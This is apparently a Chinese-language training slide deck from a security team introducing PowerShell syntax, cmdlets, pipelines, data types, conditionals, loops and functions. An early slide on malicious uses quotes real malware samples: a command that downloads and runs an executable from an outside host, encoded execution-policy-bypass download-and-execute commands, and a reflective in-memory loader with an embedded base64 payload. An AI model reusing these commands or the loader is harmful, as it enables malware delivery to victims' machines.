

POWERSHELL

从零开始——POWERSHELL应用入门

齐浩然 安全能力中心

2019-06-03

POWERSHELL的前世今生

PowerShell是运行在Windows操作系统上实现对系统以及应用程序进行管理自动化的命令行脚本环境，在2016年中期，微软迈出了在此之前不敢想象的一步，那就是完整开源了Windows PowerShell。同时，还发布了非Windows版本的PowerShell，包含macOS与大量Linux发行版。现在，这个面向对象的Shell在多种操作系统上可用，并且可以被世界范围内的社区共同提升。现在只剩下“PowerShell”，而不是“Windows PowerShell”。

为什么要重视POWERSHELL

- 1.GUI无法带来效率上的提升。
- 2.其他脚本语言总是有种种缺憾。
- 3.越来越多的产品和Windows系统中组件会采用PowerShell

病毒中POWERSHELL的邪恶用途

1. 下载并执行病毒
2. 无文件计划任务
3. 内存加载病毒

```
tmp409.bat
1 powershell "<#const later. create#>function tryload([string] $str1){(new-object
system.net.webclient).downloadfile($str1,'C:\Users\xxxx\AppData\Local\Temp\newfile.exe');<#additional#>start-process
'C:\Users\xxxx\AppData\Local\Temp\newfile.exe';}try{tryload('http://hsbcdocuments.net/twi.light')}catch{tryload('
http://hsbcdocuments.net/twi.light')}
2
```

"powershell" -ep bypass -e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG
8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGGAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGGAAaAAuAGMAb
wBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=

"powershell" -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAE
MAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGGAdAB0AHAAOgAvAC8Ad
gAuAHkANgBoAC4AbgBlAHQALwBnAD8AAaAXADkAMAAzADIAMAAAnACKA

```
$Codeb64 =
"TVqQAAMAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4
s3ATMb/p3AGzcBMhubncAb0fXFGqedwBvR9cQakp3AG9H1wxqRncAbXmILG4CdwBuDncEb353AGxL0xBqAncAbEv
ADgCgAAAEAAAABAAAAACAAAFAAEAAAAAAAAUAQAACALAAAEAAAAAAAAAwBAGQAAEAAAEAAAAQAQAQAQAQA
cO4JAEAAAAAAAAAAAAAAAAADwCgAgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAABAAABALnJzcmMAAADgAQAAAAALAAACAAAA0AoAAAAAAAAAAAAAAAAAAAAQAQAQC5yZWxvYWAAfA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAArExKALO9SgCkjkOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFonAAAmlo5wABf37AW76vT/lAEvRO5OvQjk
Cp7rjH9NQ8gHZMqel57UK3Dihy+TbQ1KZJo/pGbbgnM7MC/HVEwTQuoE/EHQfKtoaSSdaKbPz14YDZ9yofmk5HSq
Rr9u8TVrATtuQp4umKRvLVCFRPLHKzDV5ykG+NJcA5kHTuX50NZZ6F6iTq/9AsUoQqOOP/5X3IZtjgr2hNsRXkve
tT5pgNcWUdSWc7JOyXUstKnKrSIw5lffpdYtNNiQo0Un22jOhIvO4N58u6jLO4GaSf3BzYGZizCLeH3x8ClYlZ+
jYAIM5AsRxxv9+cgLMOaxsuioSG+1lPv+tJ6MXguXDnWoqiwaklgRkwgrpYhFCqwiDMiQESvQ9IVbkkzItmwLuW5w
VE+C17QvgeZ/N6dcZQ985lxgVaHZQMbMRlMPLMq43jXYwlg35AddQ6E9CrWfaPlMOyRnucdygP5EXCv4hueeBoWz
#Vista and Win7
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Ve
{
    #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thre
    $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FF
    $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    if ($RemoteThreadHandle -eq [IntPtr]::Zero)
    {
        Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastErr
    }
}
#XP/Win8
else
{
    #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thre
    $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle,
```



01 | POWERSHELL

初识PowerShell

在32位操作系统中，最多只有两个PowerShell图标。在64位系统中，最多有4个。它们分别是：

- Windows PowerShell——64位系统上的64位控制台和32位系统上的32位控制台。
 - Windows PowerShell (x86) ——64位系统上的32位控制台。
 - Windows PowerShell ISE——64位系统上的64位图形化控制台和32位系统上的32位图形化控制台。
 - Windows PowerShell ISE (x86) ——64位系统上的32位图形化控制台。
-

微软在PowerShell v3中加入了一个新的功能，叫作“可更新的帮助”。PowerShell可以通过互联网下载帮助文件的更新、修正和扩展。

语法




help 命令

Sample: Help Get-Service Help *log* Help *event
可使用Update-Help下载和安装包含这个Cmdlet模板的帮助文档。

可输入"Get-Help Get-Service -Online"命令或者
输入网址<http://go.microsoft.com/fwlink/?LinkID=113332>查看关于帮助主题的在线文档。

► 剖析命令

对复杂PowerShell命令的一个基本剖析。我们称之为一个命令的完整语法形式。我们尝试使用一个有点复杂的命令，这样你就能看到可能出现的所有部分。

Command	Parameter 1	Parameter 2	Parameter 3
Get-EventLog	-LogName Security	-ComputerName WIN8,SERVER1	-Verbose
			
	参数名称	参数名	参数值 (多个)
			开关参数 (无值)

Set-Location。

功能: 该参数的功能是将Shell中当前路径变更为不同路径, 比如变更到另一个文件夹下。

示例:

```
PS C: \> Set-Location -Path C: \Windows
```

你可能对该命令的另一种写法cd更为熟悉, 其实就是cmd.exe中的change directory的简写。

```
PS C: \Windows> cd 'C: \Program Files'
```

New-Item

需要注意的是，New-Item这个Cmdlet在很多地方都是通用的——它根本无法得知你是想新建一个文件夹。这个Cmdlet可以用来新建文件夹、文件、注册表项以及其他项，所以你必须告知你希望创建的类型是什么。

示例

```
New-Item testFolder
```

```
New-Item testFolder -itemtype Directory
```

PowerShell通过管道（pipeline）把命令互相连接起来。管道通过传输一个命令，将其输出作为另外一个Cmdlet的输入，使得第二个命令可以通过第一个的结果作为输入并联合起来运行。

示例：

```
Get-Process | Export-CSV procs.csv
```

```
Get-Process | Export-CliXML procs.xml
```

```
Get-Service | ConvertTo-HTML | Out-File services.html
```

导出和转换不是你希望连接两个命令的唯一目的。比如下面的例子，记住不要运行。

Get-Process | Stop-Process

通常情况下，你最好带上特定进程名称而不是终止全部进程：

Get-Process -name Notepad | Stop-Process

服务也是类似的，“Get-Service”命令的输出结果能和其他 Cmdlets（如 Stop-Service、Start-Service、Set-Service 等）一起被管道传输。。

在powershell中变量名均是以美元符“\$”开始，剩余字符可以是数字、字母、下划线的任意字符，并且powershell变量名大小写不敏感（\$a和\$A 是同一个变量）。某些特殊的字符在powershell中有特殊的用途，一般不推荐使用这些字符作为变量名。当然你硬要使用，请把整个变量名后缀用花括号括起来。

```
PS C:\test> ${"I"like $}="mossfly"  
PS C:\test> ${"I"like $}  
mossfly
```

赋值操作符为 “=”，几乎可以把任何数据赋值给一个变量，甚至一条cmdlet命令，为什么，因为Powershell支持对象，对象可以包罗万象。

```
PS C:\test> $item=DIR .  
PS C:\test> $item
```


Powershell创建数组

```
$nums=2,0,1,2
```

空数组

```
$a=@()
```

数组的多态

象变量一样如果数组中元素的类型为弱类型，默认可以存储不同类型的值。

```
$array=1, "奇安信",([System.Guid]::NewGuid()),(get-date)
```

```
$stu=@{ Name = "小明";Age="12";sex="男" }
```

在哈希表中存储数组

```
$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }
```

在哈希表中插入新的键值

```
$Student=@{
```

```
$Student.Name="令狐冲"
```

```
$Student.School="华山派"
```

创建对象

通过New-Object可以创建一个对象，甚至可以创建一个虚拟的小刀，但是第一步需要创建一个空对象。空对象什么都没有，如果调用它，不会返回任何东西。

```
$pocketknife=New-Object object
```

增加属性

```
Add-Member -InputObject $pocketknife -Name Color -  
Value "Red"-MemberType NoteProperty
```

```
Add-Member -InputObject $pocketknife -Name Weight  
-Value "55"-MemberType NoteProperty
```

增加一个新方法:

```
Add-Member -memberType ScriptMethod -In  
$pocketknife -name cut -Value { "I'm whittling now" }
```

指定参数类型增加一个新方法:

```
Add-Member -in $pocketknife ScriptMethod screw  
{ "Phew...it's in!" }
```

直接通过管道增加一个新方法:

```
$pocketknife | Add-Member ScriptMethod corkscrew  
{ "Pop! Cheers!" }
```

► 条件分支

Powershell 中的比较运算符

- eq : 等于
- ne : 不等于
- gt : 大于
- ge : 大于等于
- lt : 小于
- le : 小于等于
- contains : 包含
- notcontains : 不包含

布尔运算

- and : 和
- or : 或
- xor : 异或
- not : 逆

► 条件分支

```
# 使用 IF-ElseIF-Else
If( $value -eq 1 )
{
    "Beijing"
}
Elseif( $value -eq 2)
{
    "Shanghai"
}
Elseif( $value -eq 3 )
{
    "Tianjin"
}
Else
{
    "Chongqing"
}
```

► 条件分支

```
# 使用 Switch
switch($value)
{
    1 {"Beijing"}
    2 {"Shanghai"}
    3 {"Tianjin"}
    4 {"Chongqing"}
}
```

```
$value=18
# 使用 Switch 测试取值范围
switch($value)
{
    {$ _ -lt 10} {"小于10"}
    10 {"等于10"}
    {$ _ -gt 10} {"大于10"}
}
```

► 条件分支

比较字符串

```
$domain="www.mossfly.com"
switch($domain)
{
    "Www.moSSfly.com" {"Ok 1"}
    "www.MOSSFLY.com" {"Ok 2"}
    "WWW.mossfly.COM" {"Ok 3"}
}
```

```
$domain="www.mossfly.com"
switch -case ($domain)
{
    "Www.moSSfly.com" {"Ok 1"}
    "www.MOSSFLY.com" {"Ok 2"}
    "www.mossfly.com" {"Ok 3"}
}
```


Powershell ForEach-Object 循环

```
Get-WmiObject Win32_Service | ForEach-Object {  
    if ($_.ProcessId -gt 3000)  
    { "{0}({1})" -f $_.DisplayName,$_.ProcessID}  
}
```

Powershell Foreach 循环

```
foreach($file in dir c:\windows)  
{  
    if($file.Length -gt 1mb)  
    {  
        $File.Name  
    }  
}
```

do-while()会先执行再去判断，能保证循环至少执行一次。
do { \$n=Read-Host } while(\$n -ne 0)

单独使用While

```
$n=1  
while($n -lt 6)  
{  
    if($n -eq 4)  
    {  
        break  
    }  
    $n  
    $n++  
}
```

For循环

```
$sum=0  
for($i=1;$i -le 100;$i++)  
{  
    $sum+=$i  
}  
$sum
```

有时对集合的处理，在循环中还须条件判断，使用Switch循环可以一步到位

```
$nums = 10..7  
Switch ($nums)  
{  
    {($_ % 2) -eq 0} {"$_ 偶数"}  
    {($_ % 2) -ne 0} {"$_ 奇数"}  
}
```

\$args 万能参数

```
function sayHello
{
    if($args.Count -eq 0)
    {
        "No argument!"
    }
    else
    {
        $args | foreach {"Hello,$($_)"}
    }
}
```

▶ 函数

设置参数名称

```
function StringContact($str1,$str2)
{
    return $str1+$str2
}
```

给参数定义默认值

```
function stringContact($str1="moss",$str2="fly")
{
    return $str1+$str2
}
```

Thank you!

配色方案

文本样式

配色方案

文本样式

配色方案

文本样式

配色方案



文本样式

- 标题文字 (28号)

- 第二级 (24号)

- 第三级 (20号)

- 第四级 (16号)

- 第五级 (14号)

